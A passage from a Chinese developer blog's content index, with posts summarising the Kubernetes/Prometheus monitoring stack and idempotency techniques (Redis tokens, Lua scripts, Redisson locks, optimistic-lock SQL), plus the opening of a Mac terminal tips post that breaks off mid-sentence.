https://www.baiyp.ren/%E4%B8%9A%E5%8A%A1%E5%B9%82%E7%AD%89%E6%80%A7%E6%9E%B6%E6%9E%84%E8%AE%BE%E8%AE%A1.html https://mp.weixin.qq.com/s/Ojdh0-POjucg_De8OdQfwQ https://help.aliyun.com/document_detail/102777.html ","date":"2021-11-16T09:57:23Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-16-mi-deng-jie-jue-fang-an-ji-he-er-xiao-xi-mi-deng/cover.jpg","permalink":"/p/2021-11-16-mi-deng-jie-jue-fang-an-ji-he-er-xiao-xi-mi-deng/","title":"幂等解决方案集合（二）消息幂等"},{"content":"基本概念 cAdvisor Docker 是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的容器中，然后发布到任何流行的 Linux/Windows/Mac 机器上。容器镜像正成为一个新的标准化软件交付方式。为了能够获取到 Docker 容器的运行状态，用户可以通过 Docker 的 stats 命令获取到当前主机上运行容器的统计信息，可以查看容器的 CPU 利用率、内存使用量、网络 IO 总量以及磁盘 IO 总量等信息。\n显然如果我们想对监控数据做存储以及可视化的展示，那么 docker 的 stats 是不能满足的。\n为了解决 docker stats 的问题（存储、展示），谷歌开源的 cadvisor 诞生了，cadvisor 不仅可以搜集一台机器上所有运行的容器信息，还提供基础查询界面和 http 接口，方便其他组件如 Prometheus 进行数据抓取，或者 cAdvisor + influxDB + grafana 搭配使用。cAdvisor 可以对节点机器上的资源及容器进行实时监控和性能数据采集，包括 CPU 使用情况、内存使用情况、网络吞吐量及文件系统使用情况\n监控原理\ncAdvisor 使用 Go 语言开发，利用 Linux 的 cgroups 获取容器的资源使用信息，在 K8S 中集成在 Kubelet 里作为默认启动项，官方标配。\nDocker 是基于 Namespace、Cgroups 和联合文件系统实现的\nCgroups 不仅可以用于容器资源的限制，还可以提供容器的资源使用率。不管用什么监控方案，底层数据都来源于 Cgroups\nCgroups 的工作目录 /sys/fs/cgroup 下包含了 Cgroups 的所有内容。Cgroups 包含了很多子系统，可以对 CPU，内存，PID，磁盘 IO 等资源进行限制和监控。\ncAdvisor 运行原理，如下图\nPrometheus Prometheus 是一套开源的监控报警系统。主要特点包括多维数据模型、灵活查询语句 PromQL 以及数据可视化展示等\n架构图\n基本原理\nPrometheus 的基本原理是通过 HTTP 协议周期性抓取被监控组件的状态，任意组件只要提供对应的 HTTP 接口就可以接入监控。不需要任何 SDK 或者其他的集成过程。这样做非常适合做虚拟化环境监控系统，比如 VM、Docker、Kubernetes 等。输出被监控组件信息的 HTTP 接口被叫做 exporter 。目前互联网公司常用的组件大部分都有 exporter 可以直接使用，比如 Varnish、Haproxy、Nginx、MySQL、Linux 系统信息（包括磁盘、内存、CPU、网络等等）。\n服务过程\nPrometheus Daemon 负责定时去目标上抓取 metrics（指标）数据，每个抓取目标需要暴露一个 http 服务的接口给它定时抓取。Prometheus 支持通过配置文件、文本文件、Zookeeper、Consul、DNS SRV Lookup 等方式指定抓取目标。Prometheus 采用 PULL 的方式进行监控，即服务器可以直接通过目标 PULL 数据或者间接地通过中间网关来 Push 数据。 Prometheus 在本地存储抓取的所有数据，并通过一定规则进行清理和整理数据，并把得到的结果存储到新的时间序列中。 Prometheus 通过 PromQL 和其他 API 可视化地展示收集的数据。Prometheus 支持很多方式的图表可视化，例如 Grafana、自带的 Promdash 以及自身提供的模版引擎等等。Prometheus 还提供 HTTP API 的查询方式，自定义所需要的输出。 PushGateway 支持 Client 主动推送 metrics 到 PushGateway，而 Prometheus 只是定时去 Gateway 上抓取数据。 Alertmanager 是独立于 Prometheus 的一个组件，可以支持 Prometheus 的查询语句，提供十分灵活的报警方式。 Operator Operator 是 CoreOS 推出的旨在简化复杂有状态应用管理的框架，它是一个感知应用状态的控制器，通过扩展 Kubernetes API 来自动创建、管理和配置应用实例。\nOperator 基于 CustomResourceDefinition(CRD) 扩展了新的应用资源，并通过控制器来保证应用处于预期状态。比如 etcd operator 通过下面的三个步骤模拟了管理 etcd 集群的行为：\n通过 Kubernetes API 观察集群的当前状态； 分析当前状态与期望状态的差别； 调用 etcd 集群管理 API 或 Kubernetes API 消除这些差别。 Prometheus Operator 为了在 Kubernetes 能够方便的管理和部署 Prometheus，我们使用 ConfigMap 了管理 Prometheus 配置文件。每次对 Prometheus 配置文件进行升级时，我们需要手动移除已经运行的 Pod 实例，从而让 Kubernetes 可以使用最新的配置文件创建 Prometheus。而如果当应用实例的数量更多时，通过手动的方式部署和升级 Prometheus 过程繁琐并且效率低下。\n从本质上来讲 Prometheus 属于是典型的有状态应用，而其又包含了一些自身特有的运维管理和配置管理方式。而这些都无法通过 Kubernetes 原生提供的应用管理概念实现自动化。为了简化这类应用程序的管理复杂度，CoreOS 率先引入了 Operator 的概念，并且首先推出了针对在 Kubernetes 下运行和管理 Etcd 的 Etcd Operator。并随后推出了 Prometheus Operator。\n从概念上来讲 Operator 就是针对管理特定应用程序的，在 Kubernetes 基本的 Resource 和 Controller 的概念上，以扩展 Kubernetes api 的形式。帮助用户创建，配置和管理复杂的有状态应用程序。从而实现特定应用程序的常见操作以及运维自动化。\n在 Kubernetes 中我们使用 Deployment、DamenSet，StatefulSet 来管理应用 Workload，使用 Service，Ingress 来管理应用的访问方式，使用 ConfigMap 和 Secret 来管理应用配置。我们在集群中对这些资源的创建，更新，删除的动作都会被转换为事件 (Event)，Kubernetes 的 Controller Manager 负责监听这些事件并触发相应的任务来满足用户的期望。这种方式我们成为声明式，用户只需要关心应用程序的最终状态，其它的都通过 Kubernetes 来帮助我们完成，通过这种方式可以大大简化应用的配置管理复杂度。\n而除了这些原生的 Resource 资源以外，Kubernetes 还允许用户添加自己的自定义资源 (Custom Resource)。并且通过实现自定义 Controller 来实现对 Kubernetes 的扩展。\n如下所示，是 Prometheus Operator 的架构示意图：\nPrometheus 的本职就是一组用户自定义的 CRD 资源以及 Controller 的实现，Prometheus Operator 负责监听这些自定义资源的变化，并且根据这些资源的定义自动化的完成如 Prometheus Server 自身以及配置的自动化管理工作。\n简言之，Prometheus Operator 能够帮助用户自动化的创建以及管理 Prometheus Server 以及其相应的配置。\nHPA Horizontal Pod Autoscaler ，K8S 中的一个概念，可以自动调整 Pod 的数量，以达到指定的目标值。\nPod 水平自动扩缩（Horizontal Pod Autoscaler） 可以基于 CPU 利用率自动扩缩 ReplicationController、Deployment、ReplicaSet 和 StatefulSet 中的 Pod 数量。除了 CPU 利用率，也可以基于其他应程序提供的 自定义度量指标来执行自动扩缩。Pod 自动扩缩不适用于无法扩缩的对象，比如 DaemonSet。\nHeapster Heapster 是容器集群监控和性能分析工具，天然的支持 Kubernetes 和 CoreOS。\nHeapster 首先从 K8S Master 获取集群中所有 Node 的信息，然后通过这些 Node 上的 kubelet 获取有用数据，而 kubelet 本身的数据则是从 cAdvisor 得到。所有获取到的数据都被推到 Heapster 配置的后端存储中，并还支持数据的可视化。现在后端存储 + 可视化的方法，如 InfluxDB + grafana。\nHeapster 可以收集 Node 节点上的 cAdvisor 数据，还可以按照 kubernetes 的资源类型来集合资源，比如 Pod、Namespace 域，可以分别获取它们的 CPU、内存、网络和磁盘的 metric。默认的 metric 数据聚合时间间隔是 1 分钟。\n注意 ：Kubernetes 1.11 不建议使用 Heapster，就 SIG Instrumentation 而言，这是为了转向新的 Kubernetes 监控模型的持续努力的一部分。仍使用 Heapster 进行自动扩展的集群应迁移到 metrics-server 和自定义指标 API。\nMetrics Server kubernetes 集群资源监控之前可以通过 heapster 来获取数据，在 1.11 开始开始逐渐废弃 heapster 了，采用 metrics-server 来代替，metrics-server 是集群的核心监控数据的聚合器，它从 kubelet 公开的 Summary API 中采集指标信息，metrics-server 是扩展的 APIServer，依赖于 kube-aggregator，因为我们需要在 APIServer 中开启相关参数。\nMetrics Server 并不是 kube-apiserver 的一部分，而是通过 Aggregator 这种插件机制，在独立部署的情况下同 kube-apiserver 一起统一对外服务的。\nAggregator\n“\n通过聚合层扩展 Kubernetes API使用聚合层（Aggregation Layer），用户可以通过额外的 API 扩展 Kubernetes， 而不局限于 Kubernetes 核心 API 提供的功能。这里的附加 API 可以是现成的解决方案比如 metrics server, 或者你自己开发的 API。聚合层不同于 定制资源（Custom Resources）。后者的目的是让 kube-apiserver 能够认识新的对象类别（Kind）。\n”\n“\n聚合层聚合层在 kube-apiserver 进程内运行。在扩展资源注册之前，聚合层不做任何事情。要注册 API，用户必须添加一个 APIService 对象，用它来“申领” Kubernetes API 中的 URL 路径。自此以后，聚合层将会把发给该 API 路径的所有内容（例如 /apis/myextension.mycompany.io/v1/…） 转发到已注册的 APIService。\n”\n“\nAPIService 的最常见实现方式是在集群中某 Pod 内运行 扩展 API 服务器。如果你在使用扩展 API 服务器来管理集群中的资源，该扩展 API 服务器（也被写成“extension-apiserver”） 一般需要和一个或多个控制器一起使用。apiserver-builder 库同时提供构造扩展 API 服务器和控制器框架代码。\n”\n这里，Aggregator APIServer 的工作原理，可以用如下所示的一幅示意图来表示清楚 ：\n因为 k8s 的 api-server 将所有的数据持久化到了 etcd 中，显然 k8s 本身不能处理这种频率的采集，而且这种监控数据变化快且都是临时数据，因此需要有一个组件单独处理他们，于是 metric-server 的概念诞生了。\nMetrics server 出现后，新的 Kubernetes 监控架构将变成下图的样子\n核心流程（黑色部分）：这是 Kubernetes 正常工作所需要的核心度量，从 Kubelet、cAdvisor 等获取度量数据，再由 metrics-server 提供给 Dashboard、HPA 控制器等使用。 监控流程（蓝色部分）：基于核心度量构建的监控流程，比如 Prometheus 可以从 metrics-server 获取核心度量，从其他数据源（如 Node Exporter 等）获取非核心度量，再基于它们构建监控告警系统。 注意：\nmetrics-sevrer 的数据存在内存中。 metrics-server 主要针对 node、pod 等的 cpu、网络、内存等系统指标的监控 kube-state-metrics 已经有了 cadvisor、heapster、metric-server，几乎容器运行的所有指标都能拿到，但是下面这种情况却无能为力：\n我调度了多少个 replicas？现在可用的有几个？ 多少个 Pod 是 running/stopped/terminated 状态？ Pod 重启了多少次？ 我有多少 job 在运行中 而这些则是 kube-state-metrics 提供的内容，它基于 client-go 开发，轮询 Kubernetes API，并将 Kubernetes 的结构化信息转换为 metrics。\nkube-state-metrics 与 metrics-server 对比\n我们服务在运行过程中，我们想了解服务运行状态，pod 有没有重启，伸缩有没有成功，pod 的状态是怎么样的等，这时就需要 kube-state-metrics，它主要关注 deployment,、node 、 pod 等内部对象的状态。而 metrics-server 主要用于监测 node，pod 等的 CPU，内存，网络等系统指标。\nmetric-server（或 heapster）是从 api-server 中获取 cpu、内存使用率这种监控指标，并把他们发送给存储后端，如 influxdb 或云厂商，他当前的核心作用是：为 HPA 等组件提供决策指标支持。 kube-state-metrics 关注于获取 k8s 各种资源的最新状态，如 deployment 或者 daemonset，之所以没有把 kube-state-metrics 纳入到 metric-server 的能力中，是因为他们的关注点本质上是不一样的。metric-server 仅仅是获取、格式化现有数据，写入特定的存储，实质上是一个监控系统。而 kube-state-metrics 是将 k8s 的运行状况在内存中做了个快照，并且获取新的指标，但他没有能力导出这些指标 换个角度讲，kube-state-metrics 本身是 metric-server 的一种数据来源，虽然现在没有这么做。 另外，像 Prometheus 这种监控系统，并不会去用 metric-server 中的数据，他都是自己做指标收集、集成的（Prometheus 包含了 metric-server 的能力），但 Prometheus 可以监控 metric-server 本身组件的监控状态并适时报警，这里的监控就可以通过 kube-state-metrics 来实现，如 metric-serverpod 的运行状态。 custom-metrics-apiserver kubernetes 的监控指标分为两种\nCore metrics（核心指标）：从 Kubelet、cAdvisor 等获取度量数据，再由 metrics-server 提供给 Dashboard、HPA 控制器等使用。 Custom Metrics（自定义指标）：由 Prometheus Adapter 提供 API custom.metrics.k8s.io，由此可支持任意 Prometheus 采集到的指标。 以下是官方 metrics 的项目介绍：\nResource Metrics API（核心 api）\nHeapster Metrics Server Custom Metrics API：\nPrometheus Adapter Microsoft Azure Adapter Google Stackdriver Datadog Cluster Agent 核心指标只包含 node 和 pod 的 cpu、内存等，一般来说，核心指标作 HPA 已经足够，但如果想根据自定义指标：如请求 qps/5xx 错误数来实现 HPA，就需要使用自定义指标了，目前 Kubernetes 中自定义指标一般由 Prometheus 来提供，再利用 k8s-prometheus-adpater 聚合到 apiserver，实现和核心指标（metric-server) 同样的效果。\nHPA 请求 metrics 时，kube-aggregator(apiservice 的 controller) 会将请求转发到 adapter，adapter 作为 kubernentes 集群的 pod，实现了 Kubernetes resource metrics API 和 custom metrics API，它会根据配置的 rules 从 Prometheus 抓取并处理 metrics，在处理（如重命名 metrics 等）完后将 metric 通过 custom metrics API 返回给 HPA。最后 HPA 通过获取的 metrics 的 value 对 Deployment/ReplicaSet 进行扩缩容。\nadapter 作为 extension-apiserver（即自己实现的 pod)，充当了代理 kube-apiserver 请求 Prometheus 的功能。\n其实 k8s-prometheus-adapter 既包含自定义指标，又包含核心指标，即如果安装了 prometheus，且指标都采集完整，k8s-prometheus-adapter 可以替代 metrics server。\nPrometheus 部署方案 prometheus operator\nhttps://github.com/prometheus-operator/prometheus-operator kube-prometheus\nhttps://github.com/prometheus-operator/kube-prometheus 在集群外部署\nhttps://www.qikqiak.com/post/monitor-external-k8s-on-prometheus/ kube-prometheus 既包含了 Operator，又包含了 Prometheus 相关组件的部署及常用的 Prometheus 自定义监控，具体包含下面的组件\nThe Prometheus Operator：创建 CRD 自定义的资源对象 Highly available Prometheus：创建高可用的 Prometheus Highly available Alertmanager：创建高可用的告警组件 Prometheus node-exporter：创建主机的监控组件 Prometheus Adapter for Kubernetes Metrics APIs：创建自定义监控的指标工具（例如可以通过 nginx 的 request 来进行应用的自动伸缩） kube-state-metrics：监控 k8s 相关资源对象的状态指标 Grafana：进行图像展示 我们的做法 我们的做法，其实跟 kube-prometheus 的思路差不多，只不过我们没有用 Operator ，是自己将以下这些组件的 yaml 文件用 helm 组织了起来而已：\nkube-state-metrics prometheus alertmanager grafana k8s-prometheus-adapter node-exporter 当然 kube-prometheus 也有 helm charts 由 prometheus 社区提供：https://github.com/prometheus-community/helm-charts/tree/main/charts/kube-prometheus-stack\n这么干的原因是：这样的灵活度是最高的，虽然在第一次初始化创建这些脚本的时候麻烦了些。不过还有一个原因是我们当时部署整个基于 prometheus 的监控体系时，kube-prometheus 这个项目还在早期，没有引起我们的关注。如果在 2021 年年初或 2020 年年底的时候创建的话，可能就会直接上了。\n参考 https://blog.opskumu.com/cadvisor.html https://prometheus.io/ https://kubernetes.io/zh/docs/tasks/run-application/horizontal-pod-autoscale/ https://www.cnblogs.com/chenqionghe/p/10494868.html https://www.qikqiak.com/post/k8s-operator-101/ https://kubernetes.io/zh/docs/concepts/extend-kubernetes/api-extension/apiserver-aggregation/ https://segmentfault.com/a/1190000017875641 https://segmentfault.com/a/1190000038888544 https://yasongxu.gitbook.io/ https://mp.weixin.qq.com/s/p4FAFKHi8we4mrD7OIk7IQ https://kubernetes.feisky.xyz/apps/index/operator https://yunlzheng.gitbook.io/prometheus-book/part-iii-prometheus-shi-zhan/operator/what-is-prometheus-operator ","date":"2021-11-15T12:21:02Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/cover.jpg","permalink":"/p/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/","title":"Kubernetes监控体系总结"},{"content":"什么是幂等（idempotent） 百度百科： “\n幂等（idempotent、idempotence）是一个数学与计算机学概念，常见于抽象代数中。\n”\n“\n在编程中一个幂等操作的特点是其任意多次执行所产生的影响均与一次执行的影响相同。幂等函数，或幂等方法，是指可以使用相同参数重复执行，并能获得相同结果的函数。\n”\n“\n这些函数不会影响系统状态，也不用担心重复执行会对系统造成改变。例如，“setTrue()”函数就是一个幂等函数，无论多次执行，其结果都是一样的。更复杂的操作幂等保证是利用唯一交易号（流水号）实现。\n”\n幂等的数学概念 幂等是源于一种数学概念。其主要有两个定义\n如果在一元运算中，x 为某集合中的任意数，如果满足 ，那么该 f 运算具有幂等性，比如绝对值运算 就是幂等性函数。\n如果在二元运算中，x 为某集合中的任意数，如果满足 ，前提是 f 运算的两个参数均为 x，那么我们称 f 运算也有幂等性，比如求大值函数 就是幂等性函数。\n幂等的业务概念 幂等性不仅仅只是一次或多次操作对资源没有产生影响，还包括第一次操作产生影响后，以后多次操作不会再产生影响。并且幂等关注的是是否对资源产生影响，而不关注结果。\n举例：服务端会进行重试等操作或客户端有可能会进行多次点击提交。如果这样请求多次的话，那最终处理的数据结果就一定要保证统一，如支付场景。此时就需要通过保证业务幂等性方案来完成。\n幂等的维度 时间 空间 时域唯一性\n定义幂等的有效期。有些业务需要永久性保证幂等，如下单、支付等。而部分业务只要保证一段时间幂等即可。你希望在多长时间内保证某次操作的幂等？\n空域唯一性\n定义了幂等的范围，如生成订单的话，不允许出现重复下单。一次操作=服务方法+传入的业务数据\n同时对于幂等的使用一般都会伴随着出现锁的概念，用于解决并发安全问题。\nHTTP 协议语义幂等性 引用自：\nHttp/1.1 文档 https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html https://zh.wikipedia.org/wiki/%E8%B6%85%E6%96%87%E6%9C%AC%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE “\n安全方法对于 GET 和 HEAD 方法而言，除了进行获取资源信息外，这些请求不应当再有其他意义。也就是说，这些方法应当被认为是“安全的”。客户端可能会使用其他“非安全”方法，例如 POST，PUT 及 DELETE，应该以特殊的方式（通常是按钮而不是超链接）告知客户可能的后果（例如一个按钮控制的资金交易），或请求的操作可能是不安全的（例如某个文件将被上传或删除）。但是，不能想当然地认为服务器在处理某个 GET 请求时不会产生任何副作用。事实上，很多动态资源会把这作为其特性。这里重要的区别在于用户并没有请求这一副作用，因此不应由用户为这些副作用承担责任。副作用假如在不考虑诸如错误或者过期等问题的情况下，若干次请求的副作用与单次请求相同或者根本没有副作用，那么这些请求方法就能够被视作“幂等 (idempotence)”的。GET，HEAD，PUT 和 DELETE 方法都有这样的幂等属性，同样由于根据协议，OPTIONS，TRACE 都不应有副作用，因此也理所当然也是幂等的。假如一个由若干请求组成的请求序列产生的结果，在重复执行这个请求序列或者其中任何一个或多个请求后仍没有发生变化，则这个请求序列便是“幂等”的。但是，可能出现一个由若干请求组成的请求序列是“非幂等”的，即使这个请求序列中所有执行的请求方法都是幂等的。例如，这个请求序列的结果依赖于某个会在下次执行这个序列的过程中被修改的变量。\n”\n总结下：\nHTTP Method Idempotent Safe OPTIONS yes yes GET yes yes HEAD yes yes PUT yes no POST no no DELETE yes no PATCH no no 常见幂等问题 业务上 当用户购物进行下单操作，用户 操作多次，但订单系统对于本次操作只能产生一个订单（不控制会导致恶意刷单）。 当用户对订单进行付款，支付系统不管出现什么问题，应该只对用户扣一次款。 当支付成功对库存扣减时，库存系统对订单中商品的库存数量也只能扣减一次。 当对商品进行发货时，也需保证物流系统有且只能发一次货。 技术上 前端重复提交表单，导致同一条数据重复提交。 当添加重试机制，一个请求重试多次，导致数据不一致。 当使用 MQ 消息中间件时候，如果发生消息中间件出现错误未及时提交消费信息，导致发生重复消费。 前端解决方案 前端防重 通过前端防重保证幂等是最简单的实现方式，前端相关属性和 JS 代码即可完成设置。可靠性并不好，有经验的人员可以通过工具跳过页面仍能重复提交。主要适用于表单重复提交或按钮重复点击。\nPRG 模式 PRG 模式即 POST-REDIRECT-GET。当用户进行表单提交时，会重定向到另外一个提交成功页面，而不是停留在原先的表单页面。这样就避免了用户刷新导致重复提交。同时防止了通过浏览器按钮前进/后退导致表单重复提交。是一种比较常见的前端防重策略。\nToken 模式 token 模式主要是为了防重的。\n需要前后端进行一定程度的交互来完成。需要利用到 Redis。\n具体流程步骤：\n客户端会先发送一个请求去获取 token，服务端会生成一个全局唯一的 ID 作为 token 保存在 redis 中，同时把这个 ID 返回给客户端 客户端第二次调用业务请求的时候必须携带这个 token 服务端会校验这个 token，如果校验成功，则执行业务，并删除 redis 中的 token 如果校验失败，说明 redis 中已经没有对应的 token，则表示重复操作，直接返回指定的结果给客户端 注意：\n在并发情况下，执行 Redis 查找数据与删除需要保证原子性，否则很可能在并发下无法保证幂等性。其实现方法可以使用分布式锁或者使用 Lua 表达式来注销查询与删除操作。\n全局唯一 ID 可以用百度的 uid-generator、美团的 Leaf 去生成\nRedis 分布式锁 可以利用：典型的实现 setnx + getset 或 Redisson\n这里给出两种实现的核心方法，首先是用 Redisson 的：\n1/** 2 * 创建 Token 存入 Redis，并返回该 Token 3 * @param value 用于辅助验证的 value 值 4 * @return 生成的 Token 串 5 */ 6 public String generateToken(String value) { 7 8 String token = UUID.randomUUID().toString(); 9 String key = IDEMPOTENT_TOKEN_PREFIX + token; 10 /** 11 * 在真实业务中 采用唯一标志 例如 流水号啊 12 */ 13 redisTemplate.opsForValue().set(key, value, 5, TimeUnit.MINUTES); 14 return token; 15 } 16 17 /** 18 * 分布式锁实现幂等性 19 */ 20 @PostMapping(\u0026#34;/distributeLock\u0026#34;) 21 @ApiOperation(value = \u0026#34;分布式锁实现幂等性\u0026#34;) 22 public String distributeLock(HttpServletRequest request) { 23 24 String token = request.getHeader(\u0026#34;token\u0026#34;); 25 // 获取用户信息（这里使用模拟数据） 26 String userInfo = \u0026#34;mydlq\u0026#34;; 27 RLock lock = redissonClient.getLock(token); 28 lock.lock(10, TimeUnit.SECONDS); 29 try { 30 31 Boolean flag = tokenUtilService.validToken2(token, userInfo); 32 // 根据验证结果响应不同信息 33 if (flag) { 34 35 /** 36 * 执行正常的逻辑 37 */ 38 log.info(\u0026#34;执行正常的逻辑………………\u0026#34;); 39 } 40 return flag ? \u0026#34;正常调用\u0026#34; : \u0026#34;重复调用\u0026#34;; 41 } catch (Exception e) { 42 43 e.printStackTrace(); 44 return \u0026#34;重复调用\u0026#34;; 45 } finally { 46 47 lock.unlock(); 48 } 49 } 然后是带 Lua 脚本的\n1 /** 2 * 验证 Token 正确性 3 * 4 * @param token token 字符串 5 * @param value value 存储在 Redis 中的辅助验证信息 6 * @return 验证结果 7 */ 8 public Boolean validToken(String token, String value) { 9 10 // 设置 Lua 脚本，其中 KEYS[1] 是 key，KEYS[2] 是 value, 这段 lua 脚本的意思是获取 redis 的 KEYS[1] 的值，与 KEYS[2] 的值作比较，如果相等则返回 KEYS[1] 的值并删除 redis 中的 KEYS[1], 否则返回 0 11 String script = \u0026#34;if redis.call(\u0026#39;get\u0026#39;,KEYS[1]) == KEYS[2] then return redis.call(\u0026#39;del\u0026#39;, KEYS[1]) else return 0 end\u0026#34;; 12 RedisScript\u0026lt;Long\u0026gt; redisScript = new DefaultRedisScript\u0026lt;\u0026gt;(script, Long.class); 13 // 根据 Key 前缀拼接 Key 14 String key = IDEMPOTENT_TOKEN_PREFIX + token; 15 // 执行 Lua 脚本 16 Long result = redisTemplate.execute(redisScript, Arrays.asList(key, value)); 17 // 根据返回结果判断是否成功匹配并删除 Redis 键值对，若果结果不为空和 0，则验证通过 18 if (result != null \u0026amp;\u0026amp; result != 0L) { 19 20 log.info(\u0026#34;验证 token={},key={},value={} 成功\u0026#34;, token, key, value); 21 return true; 22 } 23 log.info(\u0026#34;验证 token={},key={},value={} 失败\u0026#34;, token, key, value); 24 25 return false; 26 } Lua 脚本的比较好理解，这里说两句 Redisson 的，Redisson 的锁 在调用redissonClient.getLock(“myLockKey”) 时，redis 中不能存在同名的 key, 不然会报错。redisson 锁其内部是基于 lua 脚本语言完成锁获取的。因为获取锁的过程涉及到了多步，为了保证执行过程的原子性，使用了 Lua 脚本。\n具体就是这段：\n1\u0026lt;T\u0026gt; RFuture\u0026lt;T\u0026gt; tryLockInnerAsync(long waitTime, long leaseTime, TimeUnit unit, long threadId, RedisStrictCommand\u0026lt;T\u0026gt; command) { 2 return this.evalWriteAsync(this.getRawName(), LongCodec.INSTANCE, command, \u0026#34;if (redis.call(\u0026#39;exists\u0026#39;, KEYS[1]) == 0) then redis.call(\u0026#39;hincrby\u0026#39;, KEYS[1], ARGV[2], 1); redis.call(\u0026#39;pexpire\u0026#39;, KEYS[1], ARGV[1]); return nil; end; if (redis.call(\u0026#39;hexists\u0026#39;, KEYS[1], ARGV[2]) == 1) then redis.call(\u0026#39;hincrby\u0026#39;, KEYS[1], ARGV[2], 1); redis.call(\u0026#39;pexpire\u0026#39;, KEYS[1], ARGV[1]); return nil; end; return redis.call(\u0026#39;pttl\u0026#39;, KEYS[1]);\u0026#34;, Collections.singletonList(this.getRawName()), new Object[]{unit.toMillis(leaseTime), this.getLockName(threadId)}); 3 } 关于 Redisson 锁还有几个进阶的概念比如：“红锁”，感兴趣的朋友可以看一下：http://redis.cn/topics/distlock.html\n后端解决方案 利用数据库实现的方案 去重表\n去重表的实现思路也非常简单，首先创建一张表作为去重表，同时在该表中建立一个或多个字段的唯一索引作为防重字段，用于保证并发情况下，数据只有一条。在向业务表中插入数据之前先向去重表插入，如果插入失败则表示是重复数据。\n比如：同一个用户同一件商品不能在同一分钟下两次单，那么就需要 user_id, product_id, created_at 这三个字段做为去重字段。\n唯一主键 insert、delete 场景\n可以通过设置数据库的唯一主键约束或唯一索引约束来实现，这样重复的 key 就不会插入成功了。比如你用 userId 为 1 的数据插入，第一次成功了再重试一次就不会成功了。\n这个方案可以防止新增脏数据，具有防重效果。\n防重设计 和 幂等设计，是有区别的。防重设计主要为了避免产生重复数据，对接口返回没有太多要求。而幂等设计除了避免产生重复数据之外，还要求每次请求都返回一样的结果\n乐观锁 update 场景\n数据库乐观锁方案一般只能适用于执行更新操作的过程，我们可以提前在对应的数据表中多添加一个字段，充当当前数据的版本标识。\n基本思路是：版本号+条件 ，实现思想是基于 MySQL 的行锁思想来实现的。以订单扣减库存举例：\n如果我们只以版本号作为条件更新\n1update tb_stock set amount=amount-#{num},version=version+1 where goods_id=#{goodsId} and version=#{version} 那么同时下单的用户就只有一个能扣减库存成功，其他的都失败。这种情况我们可以再加入一个条件来判断比如：\n1update tb_stock set amount=amount-#{num} where goods_id=#{goodsId} and amount-#{num}\u0026gt;=0 只要不发生超卖就可以了。\n举一反三，也可以用在订单只支付一次的场景，只不过条件不同罢了（也有称这种方法为状态标识或状态机幂等），比如：\n1update table item set item.status=:newstatus where item.id = :id and item.status = oldstatus 当然这也仅仅是保证了接口的幂等性，放在真实的分布式环境里，服务间的调用很可能会涉及分布式事务，那么还需要在幂等的基础上加分布式事务的解决方案，比如 seata, 有关分布式事务由于不属于本文的重点就不多讨论了。但幂等是一个很重要基础，它能够保证业务数据的一致性。\n为什么不用悲观锁？\n首先悲观锁有可能会锁表，有性能问题。\n比如 select for update\n“\n由于 InnoDB 预设是 Row-Level Lock，所以只有「明确」的指定主键，MySQL 才会执行 Row lock （行锁） ，否则 MySQL 将会执行 Table Locck（锁表）Lock\n”\n其次使用悲观锁有可能产生死锁\n比如：一个用户 A 访问表 A（锁住了表 A），然后试图访问表 B；另一个用户 B 访问表 B（锁住了表 B），然后试图访问表 A。这时对于用户 A 来说，由于表 B 已经被用户 B 锁住了，所以用户 A 必须等到用户 B 释放表 B 才能访问。同时对于用户 B 来说，由于表 A 已经被用户 A 锁住了，所以用户 B 必须等到用户 A 释放表 A 才能访问。此时死锁就已经产生了。\nredis 分布式锁实现 具体流程步骤：\n客户端先请求服务端，会拿到一个能代表这次请求业务的唯一字段 将该字段以 SETNX 的方式存入 redis 中，并根据业务设置相应的超时时间 如果设置成功，证明这是第一次请求，则执行后续的业务逻辑 如果设置失败，则代表已经执行过当前请求，直接返回 整体来看，与上文的 token 方案中使用 redis 类似，基本还是 分布式 ID+分布式锁。\n比较适合于服务间调用时的接口幂等，比如订单调库存，订单调用支付等。\n比如订单先生成了一个 id 标识（比如订单号），id 标识可由分布式 ID 生成器生成，然后带着这个标识一起请求库存，如果之前没有在 redis 存过则正常执行，如果发生接口重试，再次用相同 id 标识请求，redis 返回失败表示重复请求。\n这里比较重要的是要记得设置 redis 的过期时间，具体时间要根据\n业务执行时间 上游系统或整个系统整体的重试次数以及时间设置 假设我们设置为 2 秒，那么套一下业务就是：比如同一个订单（id 标识是订单号），在 2 秒内执行了 2 次以上扣减库存，很明显是一个重复操作，需要幂等处理（返回失败表示重复请求）。\n如果不考虑重试次数和时间，一旦 redis key 超时失效，调用方服务再次重试还是无法保证幂等。\n消息幂等 在接收消息的时候，消息推送重复。如果处理消息的接口无法保证幂等，那么重复消费消息产生的影响可能会非常大。\n具体解决方案请看下回分解。\n参考 https://www.bianchengquan.com/article/133115.html https://baike.baidu.com/item/%E5%B9%82%E7%AD%89/8600688?fr=aladdin https://mp.weixin.qq.com/s/vsvfnj5RLqYcsY1c1tnOow https://mp.weixin.qq.com/s/xq2ks76hTU0Df-z2EzxyHQ ","date":"2021-11-12T10:22:55Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-12-mi-deng-jie-jue-fang-an-ji-he-yi/cover.jpg","permalink":"/p/2021-11-12-mi-deng-jie-jue-fang-an-ji-he-yi/","title":"幂等解决方案集合（一）"},{"content":"快速打开多个 idea 工程 或前端 vscode 工程 前提是你安装了 iterm + oh my zsh 这个组合，后面就比较简单了\nvscode 比较简单，打开后先 command+shift+p , 然后输入 shell command 提示安装 code 命令。\n安装好后，在 iterm 终端界面，找到想打开的文件或目录，用 code 命令加参数打开即可。\nidea 需要利用 open 命令，比如我在 iterm 终端输入：\n## 用 idea 打开 id_rsa 文件 open -a IntelliJ\\ IDEA id_rsa 显示文件全路径（带文件名） 有时候我们找到一个文件想要把它的全路径复制下来，直接笨的做法是找到文件路径再手动加上文件名，但比较麻烦。\n比较快方法是：\nmac 下安装过 brew 后用 greadlink 显示带文件名的文件全路径\n比如\n$ brew install coreutils $ greadlink -f file.txt ## 显示 /Users/baidu/Desktop/file.txt 如果你安装了 path finder 自然更简单了\n在终端打开 Finder ，或在 Finder 跳转到终端 首先要有 